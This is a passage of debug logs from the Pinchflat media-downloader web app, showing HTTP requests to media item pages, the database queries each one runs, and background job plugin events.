m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:32:31.079 [info] Sent 200 in 4ms 15:32:31.577 [info] GET /sources/3/media/7349 15:32:31.577 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7349", "source_id" => "3"} Pipelines: [:browser] 15:32:31.577 [debug] QUERY OK source="media_items" db=0.3ms idle=501.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7349] 15:32:31.578 [debug] QUERY OK source="tasks" db=0.2ms idle=501.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7349] 15:32:31.578 [debug] QUERY OK source="sources" db=0.2ms idle=501.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:32:31.578 [debug] QUERY OK source="settings" db=0.0ms idle=501.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.578 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.579 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:31.579 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:32:31.581 [info] Sent 200 in 4ms 15:32:32.077 [info] GET /sources/3/media/4007 15:32:32.077 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4007", "source_id" => "3"} Pipelines: [:browser] 15:32:32.077 [debug] QUERY OK source="media_items" db=0.3ms idle=498.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4007] 15:32:32.078 [debug] QUERY OK source="tasks" db=0.1ms idle=499.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4007] 15:32:32.078 [debug] QUERY OK source="sources" db=0.1ms idle=498.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:32:32.078 [debug] QUERY OK source="settings" db=0.0ms idle=498.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:32.079 [debug] QUERY OK source="settings" db=0.0ms idle=454.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:32.079 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:32:32.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:32:32.081 [info] Sent 200 in 4ms 15:32:57.941 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.203 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:07.513 [info] GET /sources/3/media/5927 15:33:07.514 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5927", "source_id" => "3"} Pipelines: [:browser] 15:33:07.514 [debug] QUERY OK source="media_items" db=0.2ms idle=1983.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5927] 15:33:07.514 [debug] QUERY OK source="tasks" db=0.1ms idle=1984.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5927] 15:33:07.515 [debug] QUERY OK source="sources" db=0.2ms idle=1984.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:33:07.515 [debug] QUERY OK source="settings" db=0.1ms idle=1853.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:07.515 [debug] QUERY OK source="settings" db=0.0ms idle=852.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:07.516 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:07.516 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:33:07.517 [info] Sent 200 in 3ms 15:33:07.527 [info] GET /sources/3/media/6408 15:33:07.527 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6408", "source_id" => "3"} Pipelines: [:browser] 15:33:07.527 [debug] QUERY OK source="media_items" db=0.1ms idle=12.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6408] 15:33:07.528 [debug] QUERY OK source="tasks" db=0.1ms idle=12.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6408] 15:33:07.528 [debug] QUERY OK source="sources" db=0.1ms idle=12.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:33:07.528 [debug] QUERY OK source="settings" db=0.1ms idle=12.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:07.528 [debug] QUERY OK source="settings" db=0.0ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:07.529 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:07.529 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:33:07.531 [info] Sent 200 in 3ms 15:33:08.035 [info] GET /sources/2/media/1616/edit 15:33:08.036 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1616", "source_id" => "2"} Pipelines: [:browser] 15:33:08.036 [debug] QUERY OK source="media_items" db=0.2ms idle=507.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1616] 15:33:08.036 [debug] QUERY OK source="settings" db=0.1ms idle=507.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:08.037 [debug] QUERY OK source="settings" db=0.0ms idle=507.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:08.037 [debug] QUERY OK source="settings" db=0.0ms idle=507.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:08.038 [info] Sent 200 in 2ms 15:33:08.527 [info] GET /sources/2/media/1618/edit 15:33:08.528 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1618", "source_id" => "2"} Pipelines: [:browser] 15:33:08.528 [debug] QUERY OK source="media_items" db=0.2ms idle=864.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1618] 15:33:08.528 [debug] QUERY OK source="settings" db=0.1ms idle=492.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:08.529 [debug] QUERY OK source="settings" db=0.0ms idle=492.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:08.529 [debug] QUERY OK source="settings" db=0.1ms idle=492.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:08.530 [info] Sent 200 in 2ms 15:33:27.943 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:35.301 [info] GET /sources/2/media/1615/edit 15:33:35.301 [info] GET /sources/2/media/1617/edit 15:33:35.301 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1615", "source_id" => "2"} Pipelines: [:browser] 15:33:35.301 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1617", "source_id" => "2"} Pipelines: [:browser] 15:33:35.302 [debug] QUERY OK source="media_items" db=0.5ms idle=1771.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1617] 15:33:35.302 [debug] QUERY OK source="media_items" db=0.6ms idle=1771.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1615] 15:33:35.303 [debug] QUERY OK source="settings" db=0.2ms idle=1772.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.303 [debug] QUERY OK source="settings" db=0.2ms idle=1608.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.303 [debug] QUERY OK source="settings" db=0.2ms idle=607.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.303 [debug] QUERY OK source="settings" db=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.304 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.304 [debug] QUERY OK source="settings" db=0.2ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.305 [info] Sent 200 in 3ms 15:33:35.305 [info] Sent 200 in 3ms 15:33:35.686 [info] GET /sources/2/media/1612/edit 15:33:35.686 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1612", "source_id" => "2"} Pipelines: [:browser] 15:33:35.687 [debug] QUERY OK source="media_items" db=0.2ms idle=383.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1612] 15:33:35.687 [debug] QUERY OK source="settings" db=0.1ms idle=384.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.688 [debug] QUERY OK source="settings" db=0.1ms idle=384.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.688 [debug] QUERY OK source="settings" db=0.1ms idle=384.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:35.689 [info] Sent 200 in 2ms 15:33:36.186 [info] GET /sources/2/media/1610/edit 15:33:36.186 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1610", "source_id" => "2"} Pipelines: [:browser] 15:33:36.187 [debug] QUERY OK source="media_items" db=0.1ms idle=499.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1610] 15:33:36.187 [debug] QUERY OK source="settings" db=0.1ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:36.187 [debug] QUERY OK source="settings" db=0.0ms idle=499.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:36.188 [debug] QUERY OK source="settings" db=0.0ms idle=499.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:36.188 [info] Sent 200 in 2ms 15:33:57.945 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:59.994 [info] GET /sources/3/media/4967/edit 15:33:59.994 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4967", "source_id" => "3"} Pipelines: [:browser] 15:33:59.995 [debug] QUERY OK source="media_items" db=0.3ms idle=464.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4967] 15:33:59.995 [debug] QUERY OK source="settings" db=0.0ms idle=464.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:59.995 [debug] QUERY OK source="settings" db=0.1ms idle=465.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 